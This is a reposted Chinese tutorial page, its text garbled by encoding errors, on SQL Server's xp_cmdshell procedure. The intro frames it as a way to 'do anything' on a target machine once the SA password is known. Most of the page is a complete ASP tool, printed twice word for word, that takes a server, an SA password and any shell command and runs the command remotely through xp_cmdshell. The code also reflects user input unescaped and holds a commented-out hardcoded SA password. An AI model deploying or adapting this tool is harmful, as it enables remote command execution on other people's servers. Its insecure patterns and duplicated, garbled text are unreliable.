教你SQLSERVER擴(kuò)展存儲過程XP_CMDSHELL的簡單應(yīng)用
發(fā)布日期：2021-12-15 16:31 | 文章來源：站長之家
XP_CMDSHELL存儲過程是執(zhí)行本機(jī)的CMD命令，要求系統(tǒng)登陸有SA權(quán)限，也就是說如果獲得SQLSERVER的SA命令，那就可以在目標(biāo)機(jī)為所欲為了，知名軟件“流光”使用的應(yīng)該也是這個存儲過程來實(shí)現(xiàn)在目標(biāo)機(jī)上的操作。
下面是我寫的一個簡單的應(yīng)用頁面(ASP)，代碼如下。
CMD.ASP
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL實(shí)例_魔術(shù)師·劉</title>
<style type="text/css">
<!--
body{
font-size:13px;
line-height:20px;
width:760;
SCROLLBAR-FACE-COLOR: #2896e1;
SCROLLBAR-SHADOW-COLOR: #6cb4d8;
SCROLLBAR-ARROW-COLOR: #f0f0f0;
SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
SCROLLBAR-BASE-COLOR: #2896e1;
background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
border: 1px solid #336699;
}
.input {
border: 1px solid #336699;
background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head> <body>
<%if request("cmd")<>"" then%>
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL請求結(jié)果</span></td>
</tr>
<% dim connstr,conn,rs,i
ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i 1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 colspan=2 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL實(shí)例</span></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>服務(wù)器</strong></td>
<td width=74% class=LBR><div align="left">
<input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
</div></td>
</tr>
<tr align=center >
<tdclass=LB><b>SA密碼 </b></td>
<tdclass=LBR><div align="left"><span class=N1>
<input name="PWD" type="text" id="PWD" class="input" size="20" value="<%=request("PWD")%>">
</span></div></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>CMD命令</strong></td>
<td width=74% class=LBR><div align="left">
<input name="CMD" type="text" id="CMD" class="input" size="20" value="<%=request("CMD")%>">
</div></td>
</tr>
<tr align=center >
<td colspan="2"class=LBR><div align="center"><b> </b>
<input type="submit" name="Submit" value=" 提交Command命令 " class="input">
</div></td>
</tr>
</table>
</form>
</body>
</html>
下面是我寫的一個簡單的應(yīng)用頁面(ASP)，代碼如下。
CMD.ASP
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SQLSERVER_XP_CMDSHELL實(shí)例_魔術(shù)師·劉</title>
<style type="text/css">
<!--
body{
font-size:13px;
line-height:20px;
width:760;
SCROLLBAR-FACE-COLOR: #2896e1;
SCROLLBAR-SHADOW-COLOR: #6cb4d8;
SCROLLBAR-ARROW-COLOR: #f0f0f0;
SCROLLBAR-DARKSHADOW-COLOR: #2896e1;
SCROLLBAR-BASE-COLOR: #2896e1;
background-image: url(images/bg.gif);
}
.LBR{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:1px solid #336699;
border-bottom:1px solid #336699;
}
.all_h {
border: 1px solid #336699;
}
.input {
border: 1px solid #336699;
background-color:#ECEAFD;
}
.LB{
border-top:0px solid #336699;
border-left:1px solid #336699;
border-right:0px solid #336699;
border-bottom:1px solid #336699;
}
.N1 {font-weight:bold;color:#339933;font-size:13px;}
.N2 {font-weight:bold;color:#ff0000;font-size:13px;}
-->
</style>
</head> <body>
<%if request("cmd")<>"" then%>
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL請求結(jié)果</span></td>
</tr>
<% dim connstr,conn,rs,i
ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"
'ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"
set conn=Server.CreateObject("ADODB.Connection")
conn.open Connstr
set rs=server.CreateObject("ADODB.Recordset")
set rs=conn.execute("xp_cmdshell '"&replace(replace(request("cmd"),"'","''"),chr(34),"''")&"'")
i=0
while not rs.eof
if not isnull(rs(0)) then
if i mod 2 =0 then
response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"
else
response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"
end if
i=i 1
end if
rs.movenext
wend
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
</table>
<%end if%>
<form name="form1" method="post" action="">
<table width=400 border=0 align=center cellpadding=5 cellspacing=0>
<tr align=center>
<td height=30 colspan=2 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL實(shí)例</span></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>服務(wù)器</strong></td>
<td width=74% class=LBR><div align="left">
<input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">
</div></td>
</tr>
<tr align=center >
<tdclass=LB><b>SA密碼 </b></td>
<tdclass=LBR><div align="left"><span class=N1>
<input name="PWD" type="text" id="PWD" class="input" size="20" value="<%=request("PWD")%>">
</span></div></td>
</tr>
<tr align=center bgcolor=#DEF3FF>
<td width=26% class=LB><strong>CMD命令</strong></td>
<td width=74% class=LBR><div align="left">
<input name="CMD" type="text" id="CMD" class="input" size="20" value="<%=request("CMD")%>">
</div></td>
</tr>
<tr align=center >
<td colspan="2"class=LBR><div align="center"><b> </b>
<input type="submit" name="Submit" value=" 提交Command命令 " class="input">
</div></td>
</tr>
</table>
</form>
</body>
</html>
版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信